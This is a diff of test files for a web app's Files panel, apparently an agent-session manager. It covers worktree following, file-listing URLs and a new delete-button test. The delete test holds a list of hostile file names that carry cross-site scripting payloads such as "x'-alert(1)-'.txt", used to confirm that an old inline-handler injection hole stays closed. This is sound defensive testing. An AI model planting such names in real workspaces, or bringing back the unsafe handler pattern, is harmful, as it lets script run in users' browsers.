vm.runInContext(read('panels-ui.js'), context, { filename: 'panels-ui.js' });
const app = new (CodemanApp as unknown as new () => Record<string, any>)();
app.activeSessionId = 's1';
app.sessions = new Map([['s1', outsideSession()]]);
app.openFilePreview = vi.fn();
app.openLogViewerWindow = vi.fn();
const providers: Provider[] = [];
app.terminal = {
cols: 80,
registerLinkProvider: (p: Provider) => providers.push(p),
buffer: {
active: {
length: 1,
getLine: (row: number) =>
row === 0
? { isWrapped: false, translateToString: (trim?: boolean) => (trim === false ? line.padEnd(80) : line) }
: undefined,
},
},
};
app.registerFilePathLinkProvider();
let links: Link[] = [];
providers[0].provideLinks(1, (found) => {
links = found || [];
});
return { app, link: links[0] };
};
it('opens a log in the outside worktree in the preview, since tail-file stays in the session folder', () => {
const { app, link } = makeApp(`tail -f ${SIBLING}/logs/server.log`);
link.activate({}, link.text);
expect(app.openFilePreview).toHaveBeenCalledWith(`${SIBLING}/logs/server.log`, 's1');
expect(app.openLogViewerWindow).not.toHaveBeenCalled();
});
it('keeps a log in the session folder in the log viewer', () => {
const { app, link } = makeApp(`tail -f ${WORKING_DIR}/logs/server.log`);
link.activate({}, link.text);
expect(app.openLogViewerWindow).toHaveBeenCalledWith(`${WORKING_DIR}/logs/server.log`, 's1');
});
});
describe('markdown in a worktree outside the session folder', () => {
const dom = new JSDOM('<!DOCTYPE html><html><body></body></html>', { url: 'http://localhost/' });
const { document } = dom.window;
it('resolves root-relative and relative refs from the worktree, not the session folder', () => {
const context = vm.createContext({
console,
CodemanApp: class CodemanApp {},
document,
window: { addEventListener: vi.fn(), removeEventListener: vi.fn() },
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
});
vm.runInContext(
`${read('constants.js')}\n${read('panels-ui.js')}\nglobalThis.__proto = CodemanApp.prototype;`,
context
);
const proto = (context as unknown as { __proto: Record<string, any> }).__proto;
const app = Object.assign(Object.create(proto), { sessions: new Map([['s1', outsideSession()]]) });
const root = document.createElement('div');
root.innerHTML = '<img src="/assets/root.png" alt="root"><img src="img/a.png" alt="rel">';
app._rebaseFilePreviewMarkdownRefs(root, { sessionId: 's1', filePath: `${SIBLING}/docs/README.md` });
const raw = (path: string) => `/api/sessions/s1/file-raw?path=${encodeURIComponent(path)}`;
const src = (alt: string) => root.querySelector(`img[alt="${alt}"]`)!.getAttribute('src');
expect(src('root')).toBe(raw(`${SIBLING}/assets/root.png`));
expect(src('rel')).toBe(raw(`${SIBLING}/docs/img/a.png`));
});
});
describe('the Files panel following an agent in a worktree outside the session folder', () => {
const OUTSIDE = { name: 'myapp-feature', path: SIBLING };
const update = (extra: Record<string, unknown>) => ({ id: 'sess-1', ...extra });
const panelElement = () => {
const classes = new Set<string>();
return {
innerHTML: '',
textContent: '',
title: '',
hidden: true,
value: '',
classList: {
toggle: (name: string, on: boolean) => (on ? classes.add(name) : classes.delete(name)),
contains: (name: string) => classes.has(name),
},
setAttribute: () => {},
querySelectorAll: () => [],
};
};
const loadPanel = () => {
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
const context = vm.createContext({
CodemanApp,
console,
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
escapeHtml: (x: string) => String(x),
document: { getElementById: () => null, addEventListener: vi.fn() },
window: { addEventListener: vi.fn() },
setTimeout,
clearTimeout,
fetch: undefined as unknown,
CodemanBase: { url: (path: string) => path },
});
vm.runInContext(read('panels-ui.js'), context, { filename: 'panels-ui.js' });
const ids = [
'fileBrowserPanel',
'fileBrowserTree',
'fileBrowserStatus',
'fileBrowserHiddenBtn',
'fileBrowserSearch',
'fileBrowserRoot',
'fileBrowserRootLabel',
'fileBrowserRootName',
'fileBrowserRootSwitch',
];
const elements = Object.fromEntries(ids.map((id) => [id, panelElement()]));
elements.fileBrowserPanel.classList.toggle('visible', true);
const app = new CodemanApp();
app.$ = (id: string) => elements[id] ?? null;
app.activeSessionId = 'sess-1';
app.fileBrowserData = null;
app.fileBrowserExpandedDirs = new Set<string>();
app.fileBrowserFilter = '';
app.fileBrowserShowHidden = false;
app.getFileIcon = () => '';
app.formatFileSize = () => '';
// A stand-in for the route. The agent is in the outside worktree when `outside` is set, and
// a listing then reports it only when the request asks for root=live-any.
const server = { outside: null as typeof OUTSIDE | null, requests: [] as string[] };
context.fetch = async (url: string) => {
server.requests.push(url);
const live = url.includes('root=live') && server.outside;
const data = {
root: live ? server.outside!.path : WORKING_DIR,
...(live && { worktree: server.outside }),
tree: [],
totalFiles: 0,
totalDirectories: 0,
truncated: false,
};
return { ok: true, json: async () => ({ success: true, data }) };
};
return { app, elements, server };
};
it('reloads when an update carries only outsideWorktree and the listing reports none', async () => {
const { app, server } = loadPanel();
await app.loadFileBrowser('sess-1');
expect(server.requests).toHaveLength(1);
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
server.outside = OUTSIDE;
app._followFileBrowserWorktree(update({ outsideWorktree: { ...OUTSIDE, outside: true } }));
expect(reload).toHaveBeenCalledTimes(1);
});
it('does not reload when the listing already reports that outside worktree', async () => {
const { app, server } = loadPanel();
server.outside = OUTSIDE;
await app.loadFileBrowser('sess-1');
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
app._followFileBrowserWorktree(update({ outsideWorktree: { ...OUTSIDE, outside: true } }));
expect(reload).not.toHaveBeenCalled();
});
it('keeps the session folder pinned while the agent stays in the outside worktree', async () => {
const { app, elements, server } = loadPanel();
server.outside = OUTSIDE;
await app.loadFileBrowser('sess-1');
await app.toggleFileBrowserRoot();
await vi.waitFor(() => expect(app._fileBrowserState.normalState?.phase).toBe('ready'));
expect(app._fileBrowserState.normalState.data.worktree).toBeUndefined();
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
app._followFileBrowserWorktree(update({ outsideWorktree: { ...OUTSIDE, outside: true } }));
expect(reload).not.toHaveBeenCalled();
expect(app._fileBrowserState.sessionRootPinned).toBe(true);
expect(elements.fileBrowserRoot.hidden).toBe(false);
expect(elements.fileBrowserRootLabel.textContent).toBe('Session folder');
expect(elements.fileBrowserRootSwitch.textContent).toBe('Back to worktree');
});
it('drops the pin and reloads once the agent leaves the outside worktree', async () => {
const { app, server } = loadPanel();
server.outside = OUTSIDE;
await app.loadFileBrowser('sess-1');
await app.toggleFileBrowserRoot();
await vi.waitFor(() => expect(app._fileBrowserState.normalState?.phase).toBe('ready'));
const reload = vi.spyOn(app, '_reloadFileBrowserKeepingQuery');
server.outside = null;
app._followFileBrowserWorktree(update({}));
expect(reload).toHaveBeenCalledTimes(1);
expect(app._fileBrowserState.sessionRootPinned).toBe(false);
expect(app._fileBrowserState.pinnedWorktree).toBeNull();
});
});
+28 -16
View File
@@ -30,6 +30,9 @@ interface FakeRow {
dataset: Record<string, string>;
addEventListener: (type: string, handler: ClickHandler) => void;
click: () => void;
// The row's delete button is looked up per row; the fake rows carry none (file-delete-ui.test.ts
// drives it over a real DOM).
querySelector: (selector: string) => null;
}
interface FakeElement {
@@ -105,6 +108,7 @@ function fakeElement(initialClasses: string[] = []): FakeElement {
click() {
clickHandler?.();
},
querySelector: () => null,
});
}
},
@@ -387,7 +391,9 @@ describe('File Viewer server search', () => {
await vi.advanceTimersByTimeAsync(1);
expect(pending).toHaveLength(1);
expect(pending[0].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=false&q=src%20%26%20docs');
expect(pending[0].url).toBe(
'/api/sessions/session%2FA/files?depth=5&showHidden=false&q=src%20%26%20docs&root=live-any'
);
});
it('is a safe no-op without a panel or session and can lazily adopt a later active owner', async () => {
@@ -399,7 +405,9 @@ describe('File Viewer server search', () => {
app.activeSessionId = 'session/B';
app.filterFileBrowser('after-session');
await vi.advanceTimersByTimeAsync(250);
expect(pending[0].url).toBe('/api/sessions/session%2FB/files?depth=5&showHidden=false&q=after-session');
expect(pending[0].url).toBe(
'/api/sessions/session%2FB/files?depth=5&showHidden=false&q=after-session&root=live-any'
);
pending[0].reply.resolve(response(successfulData()));
await vi.advanceTimersByTimeAsync(0);
@@ -450,7 +458,7 @@ describe('File Viewer server search', () => {
expect(pending).toHaveLength(0);
await vi.advanceTimersByTimeAsync(1);
expect(pending.map(({ url }) => url)).toEqual([
'/api/sessions/session%2FA/files?depth=5&showHidden=false&q=second%20query',
'/api/sessions/session%2FA/files?depth=5&showHidden=false&q=second%20query&root=live-any',
]);
});
@@ -659,7 +667,7 @@ describe('File Viewer server search', () => {
await vi.advanceTimersByTimeAsync(250);
expect(pending).toHaveLength(1);
expect(pending[0].url.endsWith(`&q=${'x'.repeat(256)}`)).toBe(true);
expect(pending[0].url.endsWith(`&q=${'x'.repeat(256)}&root=live-any`)).toBe(true);
});
it('rejects 257 trimmed characters without a request', async () => {
@@ -786,7 +794,7 @@ describe('File Viewer server search', () => {
expect(elements.fileBrowserTree.innerHTML).toContain('Loading files');
expect(elements.fileBrowserTree.innerHTML).not.toContain('old-result.ts');
expect(elements.fileBrowserTree.innerHTML).not.toContain('old-preference.ts');
expect(pending[1].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true');
expect(pending[1].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true&root=live-any');
pending[1].reply.resolve(response(successfulTree('new-preference.ts')));
await toggle;
@@ -794,7 +802,7 @@ describe('File Viewer server search', () => {
expect(app._fileBrowserState.view).toBe('search-pending');
expect(elements.fileBrowserTree.innerHTML).toContain('Searching');
await vi.advanceTimersByTimeAsync(250);
expect(pending[2].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true&q=widget');
expect(pending[2].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=true&q=widget&root=live-any');
pending[2].reply.resolve(
response(
successfulData({
@@ -877,8 +885,8 @@ describe('File Viewer server search', () => {
const firstToggle = app.toggleFileBrowserHidden();
const secondToggle = app.toggleFileBrowserHidden();
expect(pending.slice(1).map(({ url }) => url)).toEqual([
'/api/sessions/session%2FA/files?depth=5&showHidden=true',
'/api/sessions/session%2FA/files?depth=5&showHidden=false',
'/api/sessions/session%2FA/files?depth=5&showHidden=true&root=live-any',
'/api/sessions/session%2FA/files?depth=5&showHidden=false&root=live-any',
]);
pending[1].reply.resolve(response(successfulTree('stale-hidden.ts')));
@@ -891,7 +899,7 @@ describe('File Viewer server search', () => {
await vi.advanceTimersByTimeAsync(250);
expect(pending).toHaveLength(4);
expect(pending[3].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=false&q=widget');
expect(pending[3].url).toBe('/api/sessions/session%2FA/files?depth=5&showHidden=false&q=widget&root=live-any');
expect(app.fileBrowserShowHidden).toBe(false);
});
@@ -1674,7 +1682,9 @@ describe('File Viewer server search', () => {
expect(immediateState.activeSessionId).toBe('session/B');
expect(immediateState.ownerSessionId).toBe('session/B');
expect(immediateState.resizeCalls).toBe(1);
expect(immediateState.fileUrls).toEqual(['/api/sessions/session%2FB/files?depth=5&showHidden=false']);
expect(immediateState.fileUrls).toEqual([
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
]);
expect(filePending).toHaveLength(1);
expect(app._fileBrowserState.ownerSessionId).toBe('session/B');
@@ -1755,7 +1765,9 @@ describe('File Viewer server search', () => {
expect(elements.fileBrowserExpandBtn.innerHTML).toBe('\u229E');
expect(elements.fileBrowserTree.querySelectorAll('.file-tree-item')).toHaveLength(0);
expect(elements.fileBrowserTree.innerHTML).toContain('Loading files');
expect(pending.map(({ url }) => url)).toEqual(['/api/sessions/session%2FB/files?depth=5&showHidden=false']);
expect(pending.map(({ url }) => url)).toEqual([
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
]);
await vi.advanceTimersByTimeAsync(250);
expect(pending).toHaveLength(1);
@@ -1797,8 +1809,8 @@ describe('File Viewer server search', () => {
await vi.advanceTimersByTimeAsync(250);
expect(pending.map(({ url }) => url)).toEqual([
'/api/sessions/session%2FB/files?depth=5&showHidden=false',
'/api/sessions/session%2FB/files?depth=5&showHidden=false&q=during%20load',
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
'/api/sessions/session%2FB/files?depth=5&showHidden=false&q=during%20load&root=live-any',
]);
expect(pending.every(({ url }) => !url.includes('session%2FA'))).toBe(true);
});
@@ -1815,9 +1827,9 @@ describe('File Viewer server search', () => {
expect(secondA).not.toBe(firstA);
expect(pending.map(({ url }) => url)).toEqual([
'/api/sessions/session%2FA/files?depth=5&showHidden=false',
'/api/sessions/session%2FB/files?depth=5&showHidden=false',
'/api/sessions/session%2FA/files?depth=5&showHidden=false',
'/api/sessions/session%2FA/files?depth=5&showHidden=false&root=live-any',
'/api/sessions/session%2FB/files?depth=5&showHidden=false&root=live-any',
'/api/sessions/session%2FA/files?depth=5&showHidden=false&root=live-any',
]);
pending[0].reply.resolve(response(successfulTree('stale-A.ts')));
+231
View File
@@ -0,0 +1,231 @@
/**
* @fileoverview Files panel following the agent into a git worktree (#765).
*
* The server does the walking, so what can go wrong here is the client: asking for the wrong root,
* showing a strip that does not describe the tree on screen, or reloading forever. The last one is
* why the follow compares with what the listing reported rather than with the previous update.
*
* Loaded via `vm` with a stubbed context, like file-browser-hidden.test.ts.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { describe, expect, it, vi } from 'vitest';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const panelsJs = readFileSync(resolve(PUBLIC, 'panels-ui.js'), 'utf8');
const appJs = readFileSync(resolve(PUBLIC, 'app.js'), 'utf8');
const indexHtml = readFileSync(resolve(PUBLIC, 'index.html'), 'utf8');
const stylesCss = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
const WORKTREE = { name: 'probe', path: '/repo/.claude/worktrees/probe' };
function element() {
const classes = new Set<string>();
return {
innerHTML: '',
textContent: '',
title: '',
hidden: true,
value: '',
classList: {
toggle: (name: string, on: boolean) => (on ? classes.add(name) : classes.delete(name)),
contains: (name: string) => classes.has(name),
},
setAttribute: () => {},
querySelectorAll: () => [],
};
}
function loadPanel() {
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
const context = vm.createContext({
CodemanApp,
console,
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
escapeHtml: (s: string) => String(s),
document: { getElementById: () => null, addEventListener: vi.fn() },
window: { addEventListener: vi.fn() },
setTimeout,
clearTimeout,
fetch: undefined as unknown,
CodemanBase: { url: (p: string) => p },
});
vm.runInContext(panelsJs, context, { filename: 'panels-ui.js' });
const ids = [
'fileBrowserPanel',
'fileBrowserTree',
'fileBrowserStatus',
'fileBrowserHiddenBtn',
'fileBrowserSearch',
'fileBrowserRoot',
'fileBrowserRootLabel',
'fileBrowserRootName',
'fileBrowserRootSwitch',
];
const elements = Object.fromEntries(ids.map((id) => [id, element()]));
elements.fileBrowserPanel.classList.toggle('visible', true);
const app = new CodemanApp();
app.$ = (id: string) => elements[id] ?? null;
app.activeSessionId = 'sess-1';
app.fileBrowserData = null;
app.fileBrowserExpandedDirs = new Set<string>();
app.fileBrowserFilter = '';
app.fileBrowserShowHidden = false;
app.getFileIcon = () => '';
app.formatFileSize = () => '';
// A stand-in for the route: the session's worktree, listed when the request asks for it.
const server = { worktree: null as typeof WORKTREE | null, requests: [] as string[] };
context.fetch = async (url: string) => {
server.requests.push(url);
const live = url.includes('root=live') && server.worktree;
const data = {
root: live ? server.worktree!.path : '/repo',
...(server.worktree && { worktree: server.worktree }),
tree: [],
totalFiles: 0,
totalDirectories: 0,
truncated: false,
...(url.includes('q=') && { mode: 'search', matches: [], matchCount: 0 }),
};
return { ok: true, json: async () => ({ success: true, data }) };
};
return { app, elements, server };
}
const strip = (elements: Record<string, ReturnType<typeof element>>) => ({
hidden: elements.fileBrowserRoot.hidden,
label: elements.fileBrowserRootLabel.textContent,
name: elements.fileBrowserRootName.textContent,
button: elements.fileBrowserRootSwitch.textContent,
title: elements.fileBrowserRoot.title,
});
describe('Files panel in a git worktree', () => {
it('asks for the live root by default', async () => {
const { app, server } = loadPanel();
await app.loadFileBrowser('sess-1');
expect(server.requests[0]).toContain('root=live');
});
it('shows no strip for a session in no worktree', async () => {
const { app, elements } = loadPanel();
await app.loadFileBrowser('sess-1');
expect(elements.fileBrowserRoot.hidden).toBe(true);
});
it('says which worktree is listed, and offers the session folder', async () => {
const { app, elements, server } = loadPanel();
server.worktree = WORKTREE;
await app.loadFileBrowser('sess-1');
expect(strip(elements)).toEqual({
hidden: false,
label: 'Worktree',
name: 'probe',
button: 'Session folder',
title: WORKTREE.path,
});
});
it('switches to the session folder and back', async () => {
const { app, elements, server } = loadPanel();
server.worktree = WORKTREE;
await app.loadFileBrowser('sess-1');
await app.toggleFileBrowserRoot();
expect(server.requests[1]).not.toContain('root=live');
expect(strip(elements)).toEqual({
hidden: false,
label: 'Session folder',
name: '',
button: 'Back to worktree',
title: '/repo',
});
await app.toggleFileBrowserRoot();
expect(server.requests[2]).toContain('root=live');
expect(elements.fileBrowserRootName.textContent).toBe('probe');
});
it('keeps the query in the box across the switch, and searches the new root', async () => {
const { app, elements, server } = loadPanel();
server.worktree = WORKTREE;
await app.loadFileBrowser('sess-1');
app._fileBrowserState.filter = 'main';
elements.fileBrowserSearch.value = 'main';
await app.toggleFileBrowserRoot();
await vi.waitFor(() => expect(server.requests.some((url) => url.includes('q=main'))).toBe(true));
const search = server.requests.find((url) => url.includes('q=main'))!;
expect(search).not.toContain('root=live');
});
it('follows the agent into a worktree while the panel is open', async () => {
const { app, elements, server } = loadPanel();
await app.loadFileBrowser('sess-1');
expect(server.requests).toHaveLength(1);
server.worktree = WORKTREE;
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
await vi.waitFor(() => expect(server.requests).toHaveLength(2));
await vi.waitFor(() => expect(elements.fileBrowserRoot.hidden).toBe(false));
expect(elements.fileBrowserRootName.textContent).toBe('probe');
});
it('follows the agent back out, and a pin on the old worktree does not outlive it', async () => {
const { app, elements, server } = loadPanel();
server.worktree = WORKTREE;
await app.loadFileBrowser('sess-1');
await app.toggleFileBrowserRoot();
server.worktree = null;
app._followFileBrowserWorktree({ id: 'sess-1' });
await vi.waitFor(() => expect(elements.fileBrowserRoot.hidden).toBe(true));
expect(app._fileBrowserState.sessionRootPinned).toBe(false);
});
it('settles: updates that agree with the listing reload nothing', async () => {
const { app, server } = loadPanel();
server.worktree = WORKTREE;
await app.loadFileBrowser('sess-1');
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
expect(server.requests).toHaveLength(1);
});
it('leaves another session and a closed panel alone', async () => {
const { app, elements, server } = loadPanel();
await app.loadFileBrowser('sess-1');
app._followFileBrowserWorktree({ id: 'other', liveWorktree: WORKTREE });
elements.fileBrowserPanel.classList.toggle('visible', false);
app._followFileBrowserWorktree({ id: 'sess-1', liveWorktree: WORKTREE });
expect(server.requests).toHaveLength(1);
});
it('drops the pin and the strip on a session switch', async () => {
const { app, elements, server } = loadPanel();
server.worktree = WORKTREE;
await app.loadFileBrowser('sess-1');
await app.toggleFileBrowserRoot();
app._activateFileBrowserSession('sess-2');
expect(app._fileBrowserState.sessionRootPinned).toBe(false);
expect(elements.fileBrowserRoot.hidden).toBe(true);
});
it('gives the switch button a name before the first listing fills it in', () => {
expect(indexHtml).toMatch(/id="fileBrowserRootSwitch"[^>]*>Session folder<\/button>/);
});
it('is wired up in the page', () => {
expect(appJs).toContain('this._followFileBrowserWorktree?.(session)');
expect(indexHtml).toContain('id="fileBrowserRoot" hidden');
expect(indexHtml).toContain('onclick="app.toggleFileBrowserRoot()"');
// The strip sets `display`, so `hidden` needs its own rule or it never hides.
expect(stylesCss).toMatch(/\.file-browser-root\[hidden\]\s*\{\s*display: none;/);
});
});
+264
View File
@@ -0,0 +1,264 @@
/**
* @fileoverview The Files panel's delete button (salvaged from #529), in the browser module.
*
* #529 first rendered the button with an inline `onclick` that quoted the path inside
* `decodeURIComponent('...')`. `encodeURIComponent` leaves `'` alone, so a file named
* `x'-alert(1)-'.txt` ran script in Codeman's origin, and `it's.txt` was a syntax error whose
* button did nothing. Workspace names come from agents and cloned repos, so the click is now
* bound from the row's escaped `data-path`.
*
* The DOM is jsdom with `runScripts: 'dangerously'` on purpose: jsdom then compiles inline event
* attributes the way a browser does, with `window.app` and `window.alert` present, so the old
* markup would really call `alert` here and this test would fail on it. The escaper is the real
* one from constants.js, not a stub. panels-ui.js loads via `vm` as in
* test/file-browser-incomplete.test.ts. Port: N/A.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import vm from 'node:vm';
import { JSDOM } from 'jsdom';
import { afterAll, describe, expect, it, vi } from 'vitest';
const PUBLIC = resolve(import.meta.dirname, '../src/web/public');
const PANELS = readFileSync(resolve(PUBLIC, 'panels-ui.js'), 'utf8');
const CONSTANTS = readFileSync(resolve(PUBLIC, 'constants.js'), 'utf8');
const STYLES = readFileSync(resolve(PUBLIC, 'styles.css'), 'utf8');
// The shipped escaper: its map, its pattern and the function, cut from constants.js.
const ESCAPE_START = CONSTANTS.indexOf('const _htmlEscapeMap');
const ESCAPE_END = CONSTANTS.indexOf('\n}\n', CONSTANTS.indexOf('function escapeHtml(')) + 3;
const ESCAPE_SRC = CONSTANTS.slice(ESCAPE_START, ESCAPE_END);
const HOSTILE = ["x'-alert(1)-'.txt", "it's.txt", 'a "b" <i>c</i> & d.txt', "');alert(2);('.txt"];
const SESSION = 'sess-1';
const dom = new JSDOM(
`<div id="fileBrowserPanel" class="visible"></div>
<input id="fileBrowserSearch">
<div id="fileBrowserStatus"></div>
<div id="fileBrowserTree"></div>`,
{ runScripts: 'dangerously' }
);
afterAll(() => dom.window.close());
const document = dom.window.document;
const win = dom.window as unknown as Record<string, unknown>;
const treeEl = () => document.getElementById('fileBrowserTree') as HTMLElement;
interface FakeResponse {
ok: boolean;
status: number;
json: () => Promise<unknown>;
}
const reply = (body: unknown, status = 200): FakeResponse => ({
ok: status >= 200 && status < 300,
status,
json: async () => body,
});
function loadPanel(
options: {
confirm?: (message: string) => boolean;
fetch?: (url: string, init?: { method?: string }) => Promise<FakeResponse>;
session?: Record<string, unknown>;
} = {}
) {
const CodemanApp = function CodemanApp(this: unknown) {} as unknown as new () => Record<string, any>;
const context = vm.createContext({
CodemanApp,
console,
localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} },
document: { getElementById: () => null, addEventListener: vi.fn() },
window: { addEventListener: vi.fn() },
// The search debounce, collapsed so the re-run lands on the next turn.
setTimeout: (fn: () => void) => setTimeout(fn, 0),
clearTimeout,
CodemanBase: { url: (p: string) => p },
confirm: vi.fn(options.confirm ?? (() => true)),
fetch: vi.fn(options.fetch ?? (async () => reply({ success: true, data: {} }))),
});
vm.runInContext(ESCAPE_SRC, context, { filename: 'constants.js (escapeHtml)' });
vm.runInContext(PANELS, context, { filename: 'panels-ui.js' });
const app = new CodemanApp();
app.$ = (id: string) => document.getElementById(id);
app.activeSessionId = SESSION;
app.sessions = new Map([[SESSION, options.session ?? { id: SESSION }]]);
app.fileBrowserExpandedDirs = new Set(['src']);
app.fileBrowserShowHidden = false;
app.getFileIcon = () => '';
app.formatFileSize = () => '';
app.openFilePreview = vi.fn();
app.showToast = vi.fn();
// The sentinel the old inline handler reached: `app.deleteFileFromBrowser(...)` ran in the page.
win.app = app;
win.alert = vi.fn();
return { app, context: context as Record<string, any> };
}
const fileNode = (name: string) => ({ name, path: `src/${name}`, type: 'file', size: 1, extension: 'txt' });
const treeEnvelope = (names: string[]) => ({
success: true,
data: {
root: '/repo',
tree: [{ name: 'src', path: 'src', type: 'directory', children: names.map(fileNode) }],
totalFiles: names.length,
totalDirectories: 1,
truncated: false,
},
});
const searchEnvelope = (names: string[]) => ({
success: true,
data: { mode: 'search', matches: names.map(fileNode), matchCount: names.length, truncated: false },
});
const rowFor = (path: string) =>
[...treeEl().querySelectorAll<HTMLElement>('.file-tree-item')].find((row) => row.dataset.path === path);
const deleteButtonFor = (path: string) => rowFor(path)?.querySelector<HTMLButtonElement>('.file-tree-delete');
function renderTree(app: Record<string, any>, names: string[]) {
app.fileBrowserData = app._validateFileBrowserTreeEnvelope(treeEnvelope(names));
app.renderFileBrowserTree(SESSION);
}
function renderSearch(app: Record<string, any>, names: string[]) {
app._renderFileBrowserSearchResults(names.map(fileNode), SESSION, { matchCount: names.length, truncated: false });
}
describe('Files panel delete button: no inline handler, the exact path', () => {
it.each([
['tree', renderTree],
['search results', renderSearch],
])('%s: a click deletes exactly the hostile path and runs nothing', (_label, render) => {
const { app } = loadPanel();
app.deleteFileFromBrowser = vi.fn();
render(app, HOSTILE);
expect(treeEl().innerHTML).not.toContain('decodeURIComponent');
for (const name of HOSTILE) {
const button = deleteButtonFor(`src/${name}`);
expect(button, name).toBeTruthy();
expect(button!.getAttribute('onclick')).toBeNull();
expect(button!.type).toBe('button');
button!.click();
expect(app.deleteFileFromBrowser).toHaveBeenLastCalledWith(SESSION, `src/${name}`);
}
expect(app.deleteFileFromBrowser).toHaveBeenCalledTimes(HOSTILE.length);
expect(win.alert).not.toHaveBeenCalled();
// The click stays on the button: the row behind it does not open the file.
expect(app.openFilePreview).not.toHaveBeenCalled();
// The row itself still opens it.
rowFor(`src/${HOSTILE[0]}`)!.click();
expect(app.openFilePreview).toHaveBeenCalledWith(`src/${HOSTILE[0]}`, SESSION);
});
it('labels the button with the escaped name, as text', () => {
const { app } = loadPanel();
renderTree(app, ['a "b" <i>c</i> & d.txt']);
const button = deleteButtonFor('src/a "b" <i>c</i> & d.txt')!;
expect(button.getAttribute('aria-label')).toBe('Delete a "b" <i>c</i> & d.txt');
expect(rowFor('src/a "b" <i>c</i> & d.txt')!.querySelector('i')).toBeNull();
});
it('offers no delete button on a folder row', () => {
const { app } = loadPanel();
renderTree(app, ['a.txt']);
expect(rowFor('src')!.querySelector('.file-tree-delete')).toBeNull();
expect(deleteButtonFor('src/a.txt')).toBeTruthy();
});
it.each([
['a remote (SSH) session', { id: SESSION, remote: { host: 'h' } }],
['an adopted session', { id: SESSION, adopt: { kind: 'local' } }],
])('offers none for %s, which the route refuses', (_label, session) => {
const { app } = loadPanel({ session });
renderTree(app, ['a.txt']);
expect(rowFor('src/a.txt')).toBeTruthy();
expect(deleteButtonFor('src/a.txt')).toBeNull();
renderSearch(app, ['a.txt']);
expect(rowFor('src/a.txt')).toBeTruthy();
expect(deleteButtonFor('src/a.txt')).toBeNull();
});
});
describe('deleteFileFromBrowser', () => {
it('asks first and sends nothing when the answer is no', async () => {
const { app, context } = loadPanel({ confirm: () => false });
await app.deleteFileFromBrowser(SESSION, "src/it's.txt");
expect(context.confirm).toHaveBeenCalledWith("Delete the file src/it's.txt? This cannot be undone.");
expect(context.fetch).not.toHaveBeenCalled();
});
it('sends one DELETE with the encoded path, then reloads keeping the query', async () => {
const { app, context } = loadPanel({ fetch: async () => reply({ success: true, data: { path: 'x' } }) });
app._reloadFileBrowserKeepingQuery = vi.fn(async () => {});
const path = "src/x'-alert(1)-' & #?.txt";
await app.deleteFileFromBrowser(SESSION, path);
expect(context.fetch).toHaveBeenCalledTimes(1);
expect(context.fetch).toHaveBeenCalledWith(`/api/sessions/${SESSION}/files?path=${encodeURIComponent(path)}`, {
method: 'DELETE',
});
expect(app.showToast).toHaveBeenCalledWith(`File deleted: ${path}`, 'success');
expect(app._reloadFileBrowserKeepingQuery).toHaveBeenCalledTimes(1);
});
it('shows the server reason and reloads nothing when the delete is refused', async () => {
const { app } = loadPanel({
fetch: async () => reply({ success: false, error: 'Symbolic links are not deleted from the Files panel' }, 400),
});
app._reloadFileBrowserKeepingQuery = vi.fn(async () => {});
await app.deleteFileFromBrowser(SESSION, 'AGENTS.md');
expect(app.showToast).toHaveBeenCalledWith(
'Delete failed: Symbolic links are not deleted from the Files panel',
'error'
);
expect(app._reloadFileBrowserKeepingQuery).not.toHaveBeenCalled();
});
it('removes the row from the search results it was deleted from', async () => {
let files = ['delete-me.txt', 'keep-me.txt', 'other.md'];
const { app, context } = loadPanel({
fetch: async (url, init) => {
const query = new URL(url, 'http://localhost');
if (init?.method === 'DELETE') {
const gone = query.searchParams.get('path')!.replace(/^src\//, '');
files = files.filter((name) => name !== gone);
return reply({ success: true, data: { path: query.searchParams.get('path') } });
}
const q = query.searchParams.get('q');
return reply(q ? searchEnvelope(files.filter((name) => name.includes(q))) : treeEnvelope(files));
},
});
await app.loadFileBrowser(SESSION);
(document.getElementById('fileBrowserSearch') as HTMLInputElement).value = 'me';
app.filterFileBrowser('me');
await vi.waitFor(() => expect(rowFor('src/delete-me.txt')).toBeTruthy());
expect(rowFor('src/other.md')).toBeUndefined();
deleteButtonFor('src/delete-me.txt')!.click();
await vi.waitFor(() => expect(rowFor('src/delete-me.txt')).toBeUndefined());
expect(rowFor('src/keep-me.txt')).toBeTruthy();
// Still the search view, not the tree behind it.
expect(rowFor('src/other.md')).toBeUndefined();
expect(document.getElementById('fileBrowserStatus')!.textContent).toBe('1 match');
const methods = context.fetch.mock.calls.map(([url, init]: [string, { method?: string }?]) =>
init?.method === 'DELETE' ? 'DELETE' : url.includes('&q=') ? 'search' : 'tree'
);
expect(methods).toEqual(['tree', 'search', 'DELETE', 'tree', 'search']);
});
});
describe('Files panel delete button: touch screens', () => {
it('keeps the row buttons visible where there is no hover', () => {
const blocks = [...STYLES.matchAll(/@media \(hover: none\) \{([^{}]*\{[^{}]*\})\s*\}/g)].map((m) => m[1]);
expect(
blocks.some((block) => /\.file-tree-download,\s*\.file-tree-delete\s*\{\s*display: inline;/.test(block))
).toBe(true);
});
});
+41 -2
View File
@@ -6,7 +6,9 @@
*/
